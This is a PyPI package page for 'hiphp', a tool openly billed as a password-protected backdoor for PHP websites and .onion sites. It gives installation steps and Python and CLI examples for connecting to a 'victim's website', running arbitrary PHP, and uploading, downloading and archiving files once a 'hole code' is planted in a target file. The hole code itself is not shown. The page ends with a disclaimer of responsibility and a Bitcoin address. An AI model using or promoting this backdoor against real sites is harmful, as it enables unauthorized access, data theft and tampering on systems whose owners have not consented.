Skip to main content

hiphp - free & open source project for create a BackDoor to control php-based sites In the normal internet or sites in The Onion Router (tor network).

Project description

hiphp by yasserbdj96

hiphp for control php websites.

hiphp is BackDoor to control php based sites and hiphp can be controlled by sending commands, files and tokens to the site using http/https protocol. After copying HIPHP_HOLE_CODE and placing it in any php file on the target website, you will have permissions to enter it and read all files, delete, download and even upload new files to it. Hiphp also enables you to connect to ".onion" sites. Also, this back door is password protected.

Test on Ubuntu latest Test on Windows latest Test on MacOS latest pypi-setup Docker image ubuntu install Deploy static content to Pages CodeQL CodeFactor Supported Versions Visitors Join the chat at https://gitter.im/yasserbdj96/hiphp

Don't forget to star ⭐ this repository

How do you use this version of the project?

[✓] Command line interface CLI.
[✓] Graphical user interface GUI (beta).
[✓] Python Module.
[✓] Script.
[✓] Docker Container.

All languages used in this project:

* Python3
* PHP
* Shell (Bash)
* Shell (Batch)
* JavaScript
* CSS
* HTML

Where can you find this project?

[✓] https://pypi.org/project/hiphp/
[✓] https://hub.docker.com/r/yasserbdj96/hiphp
[✓] https://github.com/yasserbdj96/hiphp
[✓] Github Packages
[✓] https://gitlab.com/yasserbdj96/hiphp

Requirements:

[✓] requests
[✓] hexor
[✓] biglibrary

Other Requirements:

[✓] tk
[✓] eel

Supported Distributions:

Distribution Version Check Python Test Version Supported Everything works
Ubuntu Last version 3.6 --> 3.10
Windwos Last version 3.6 --> 3.10
MacOS Last version 3.6 --> 3.10
Android-termux Last version 3.6 --> 3.10
Nethunter Last version 3.6 --> 3.10

Docker Hub pull,build & run:

# Pull: docker pull yasserbdj96/hiphp:latest

# Build: docker build -t docker.io/yasserbdj96/hiphp:latest .

# Run as CLI: docker run -e KEY="<KEY>" -e URL="<URL>" -i -t docker.io/yasserbdj96/hiphp:latest

# Run as GUI: docker run -e DST="True" -d --rm -p 127.0.0.1:8080:8080 -i -t docker.io/yasserbdj96/hiphp:latest

GitHub container registry (GHCR) pull,build & run:

# Pull: docker pull ghcr.io/yasserbdj96/hiphp:latest

# Build: docker build -t ghcr.io/yasserbdj96/hiphp:latest .

# Run as CLI: docker run -e KEY="<KEY>" -e URL="<URL>" -i -t ghcr.io/yasserbdj96/hiphp:latest

# Run as GUI: docker run -e DST="True" -d --rm -p 127.0.0.1:8080:8080 -i -t ghcr.io/yasserbdj96/hiphp:latest

Python Package Installation:

# Install from pypi: pip install hiphp
# OR python -m pip install hiphp

# Local install: git clone https://github.com/yasserbdj96/hiphp.git
❯ cd hiphp
❯ sudo python setup.py install

# Uninstall: pip uninstall hiphp

Ubuntu Installation:

# Install: git clone https://github.com/yasserbdj96/hiphp.git
❯ pip install -r hiphp/requirements.txt
❯ cd hiphp/install
❯ bash install.sh -i
❯ hiphp

# Update: cd hiphp/install
❯ bash install.sh -up

# Usage: hiphp [OPTION] hiphp --help                # hiphp cli help. hiphp --geth [KEY] [URL]    # Get the hole Code. hiphp [KEY] [URL]           # Connect to the victim's website. hiphp --ftp [KEY] [URL]     # Run hiphp as GUI with 'tools/hiphp_ftp' script. hiphp --dst                 # Run hiphp as GUI with 'tools/hiphp_desktop' script.

# Uninstall: cd hiphp/install
❯ bash install.sh -u

Run without installation:

 git clone https://github.com/yasserbdj96/hiphp.git
❯ cd hiphp
❯ pip install -r requirements.txt

# default run on any os: python3 run.py <KEY> <URL>

# In case you encounter some errors on Windows os: run.bat <KEY> <URL>
# In this case the python must be installed to path.

Run with hiphp-desktop:

# Run with hiphp_desktop tool: git clone https://github.com/yasserbdj96/hiphp.git
❯ cd hiphp
❯ cp -r "hiphp" "hiphp-desktop/" cd hiphp-desktop/
❯ pip install -r requirements.txt
❯ python3 main.py

Run with hiphp_ftp:

# run with hiphp_ftp tool: git clone https://github.com/yasserbdj96/hiphp.git
❯ cd hiphp
❯ cp -r "hiphp" "tools/hiphp_ftp/" cd tools/hiphp_ftp/
❯ pip install -r requirements.txt
❯ python3 main.py <KEY> <URL>

Script Usage:

from hiphp import *

# Connect:
p1=hiphp(key="<KEY>",url="<URL>")

Script Examples:

#START{
from hiphp import *

# Connect:
p1=hiphp(key="123",url="http://127.0.0.1/index.php")#Default: retu=False.
#p1=hiphp(key="123",url="http://kfdjlkgjflkgjdfkjgkfdjgkjdfkgjk.onion/index.php")
#p1=hiphp(key="123",url="https://google.com/index.php")

# Get the hole Code:
p1.get_hole()# Copy this code into the file whose path you entered earlier. ex: https://localhost/index.php

# Example:1
# Command:
p1.run("echo 'this is a test';")

# Example:2
# Run code from file:
p1.run_file("./examples.php")# Run code from file.
p1.run_file("./examples.php","var1==true","var2==hiii")# Run code from file With the entry of variables.

# Example:3
# Upload a file:
p1.upload("./examples.php")# Upload a file to the current directory.
p1.upload("./examples.php","./upload_path/")# Upload a file to a specific directory.

# Example:4
# Compress a path:
p1.compress()# Compress the current directory.
p1.compress("./example/")# Compress a specific directory.

# Example:5
# download a file:
p1.download("example.zip")# download a specific file to the current directory.
p1.download("example.zip","<OUT_PATH>")# download a specific file to specific directory.

# Example:6
# Command line interface:
p1.cli()
#}END.

Help for Command Line interface (CLI):

hiphp Commands :
════════════════
  Command                            Description
  -------                            -----------
[OPTIONS]

  --help, help                       ─> # Display this help.
  --help [ACTIONS], help [ACTIONS]   ─> # Help for a specific command.
  --geth, geth                       ─> # Get the hole Code, "HIPHP_HOLE_CODE" It has the same purpose.
  --phpinfo, phpinfo                 ─> # Some information about the server.
  --cls, cls                         ─> # Clear console.
  --exit, exit                       ─> # Exit this console.

[ACTIONS]

  --ls, ls                           ─> # List information about the FILEs (the current directory by default).
  Usage: --ls [OPTION] [PATH], ls [OPTION] [PATH]
  Mandatory arguments to long options:
    --ls                             ─> # Get a list of all files and folders from the current directory.
    --ls [PATH]                      ─> # Get a list of all files and folders from a specified directory.
    --ls -all                        ─> # Get a list of all files, folders and subfolders from the current directory.
    --ls -all [PATH]                 ─> # Get a list of all files, folders and subfolders from a specified directory.

  --cat, cat                         ─> # Concatenate FILE to standard output.
  Usage: --cat [FILE_PATH]

  --set, set                         ─> # Create a code that is always saved on during work.
  Usage: --set [PHP_CODE]
  You can return the initial value with "--dset" or "dset".

  --cd, cd                           ─> # Change directory.
  Usage: --cd [PATH]

  --rf, rf                           ─> # Run code from file.
  Usage: --rf [FILE_PATH] [VARIABLES]
  Mandatory arguments to long options:
    --rf [FILE_PATH]                 ─> # Run code from file.
    --rf [FILE_PATH] [VARIABLES]     ─> # Run code from file with variables, EX: --rf example.php var==hello
  
  --up, up                           ─> # Upload a file.
  Usage: --up [FILE_PATH] [PATH]
  Mandatory arguments to long options:
    --up [FILE_PATH]                 ─> # Upload a file to the current directory.
    --up [FILE_PATH] [PATH]          ─> # Upload a file to a specified directory.

  --down, down                       ─> # download a file.
  Usage: --down [-f/-d] [FILE/DIR_PATH] [OUT_PATH]
  Mandatory arguments to long options:
    --down -f [FILE_PATH]            ─> # Download a file to the current directory.
    --down -f [FILE_PATH] [OUT_PATH] ─> # Download file to a specified directory.
    --down -d [DIR_PATH]             ─> # Download a folder to the current directory.
    --down -d [DIR_PATH] [OUT_PATH]  ─> # Download folder to a specified directory.
    --down -all                      ─> # Download all files to the current directory.
    --down -all [OUT_PATH]           ─> # Download all files to a specified directory.

  --zip, zip                         ─> # Compress a directory.
  Usage: --zip [DIR_PATH]
  Mandatory arguments to long options:
    --zip                            ─> # Compress the current directory.
    --zip [DIR_PATH]                 ─> # Compress a specific directory.

[ABOUT]

  --update, update                   ─> # check for updates.
  --license, license                 ─> # This project license.
  --about, about                     ─> # About this project.

HIPHP_HOLE_CODE Example:

hiphp by yasserbdj96

Screenshots:

Changelog History:

## 0.2.26 [07-09-2022][Last Version]
 - Upgraded Docker files in order to be able to work from outside the container.
 - Add download option in hiphp_desktop.
 - Bug fixes & performance improvements.

## 0.2.25 [03-09-2022]
 - Fix "--down" command on windows os.
 - Color correction in the command line interface on windows os.
 - Bug fixes & performance improvements.

## 0.2.24 [28-08-2022]
 - Fix "hiphp --ftp"
 - Add "--cd" command for Change directory.
 - Update all commands from "--command" to "command" (You can use both).
 - Update & fix bugs in "hiphp --dst".
 - Update help menu.
 - Bug fixes & performance improvements.

## 0.2.23 [22-08-2022]
 - Fix the entry with uppercase and lowercase letters.
 - Add "--down" command for Download files & folders.
 - Add "--zip" command for Compress files & folders.
 - Update "--help" to "--help [ACTION]".
 - Update the help list and enable it to display help when something goes wrong.
 - Bug fixes & performance improvements.

## 0.2.22 [20-08-2022]
 - Update some info on pypi.
 - Fix "setup.py" windows os.
 - Bug fixes & performance improvements.

## 0.2.21 [18-08-2022]
 - Add "--update" command for check updates.
 - Add "--phpinfo" command for check some server informations.
 - Fix not being able to install internally on Nethunter.
 - Fix some issues in uploading files.
 - Bug fixes & performance improvements.

## 0.2.20 [10-08-2022]
 - Change the display of files in the command "--ls"
 - Fix "HIPHP_HOLE_CODE".
 - Add "--cls" command to clear console.
 - Slight change to the command line interface logo.
 - Bug fixes & performance improvements.

## 0.2.19 [30-07-2022]
 - Preparing for the new version.
 - Rework the software rights with the addition of the Bitcoin wallet address.
 - new logo design.
 - Bug fixes & performance improvements.

## 0.2.18 [06-07-2022]
 - Bug fixes & performance improvements.

## 0.2.17 [03-07-2022]
 - Bug fixes on windows os.

## 0.2.16 [02-07-2022][Version cancelled]
 - Bug fixes & performance improvements.

## 0.2.15 [22-06-2022][Version cancelled]
 - New build.
 - More stability.
 - Command interface update.
 - More commands.
 - Giving access to .onion sites.
 - help menu update.
 - Bug fixes & performance improvements.

## 0.1.14 [06-11-2021][Version cancelled]
 - help menu update.
 - Bug fixes & performance improvements.

## 0.1.13 [09-11-2021][Version cancelled]
 - Safety upgrade.
 - Bug fixes & performance improvements.

## 0.1.12 [09-11-2021][Version cancelled]
 - Safety upgrade.
 - Bug fixes & performance improvements.

## 0.1.11 [03-11-2021][Version cancelled]
 - Command interface update.
 - Bug fixes & performance improvements.

## 0.1.10 [26-07-2021][Version cancelled]
 - Fix Bugs.

## 0.1.9 [07-06-2021][Version cancelled]
 - fix bugs.

## 0.1.8 [2021][Version cancelled]
 - Fix bugs.

## 0.1.7 [04-06-2021][Version cancelled]
 - fix bugs.

## 0.1.6 [04-06-2021][Version cancelled]
 - fix bugs.
 - add upload to upload any file.
 - Simplify the use of the program.

## 0.1.5 [26-05-2021][Version cancelled]
 - fix bugs.

## 0.1.4 [15-05-2021][Version cancelled]
 - fix bugs.
 - new build.

## 0.1.3 [12-05-2021][Version cancelled]
 - Fix bugs.

## 0.1.2 [10-05-2021][Version cancelled]
 - Fix bugs.

## 0.1.1 [06-05-2021][Version cancelled]
 - Import pakages by pipincluder.
 - Fix bugs.

## 0.1.0 [18-04-2021][Version cancelled]
 - New build.
 - Fix bugs.

## 0.0.4 [06-04-2021][Version cancelled]
 - Fix bugs.

## 0.0.3 [06-04-2021][Version cancelled]
 - Fix bugs.

## 0.0.2 [05-04-2021][Version cancelled]
 - Fix bugs.
 - Add help list.
 - Add Executing from files.

## 0.0.1 [05-04-2021][Version cancelled]
 - First public release.

Important Notes:

- When you use the program for the first time on a site, the code HIPHP_HOLE_CODE will show you, copy it and upload it to the path you want to connect to, for example 'https://localhost/inc/ex.php'.
- In order for the program to work well and without errors, HIPHP_HOLE_CODE must be placed at the top of the target file.
- The program will not work and it will show you a message stating that you are unable to connect to the site if you do not enter the correct path to the location of HIPHP_HOLE_CODE via the link.
- If you use hiphp on .onion sites, you must run tor services or tor browser.
- I AM NOT RESPONSIBLE HOW YOU USE MY TOOLS/PROGRAMS/PROJECTS. BE LEGAL AND NOT STUPID.

I hope you enjoyed this repository 😇.

all posts #yasserbdj96 ,all views my own.


hiphp by yasserbdj96
BTC: bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9
Go to this link to get more information.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hiphp-0.2.26.tar.gz (21.8 kB view hashes)

Uploaded Source

Built Distribution

hiphp-0.2.26-py3-none-any.whl (18.8 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page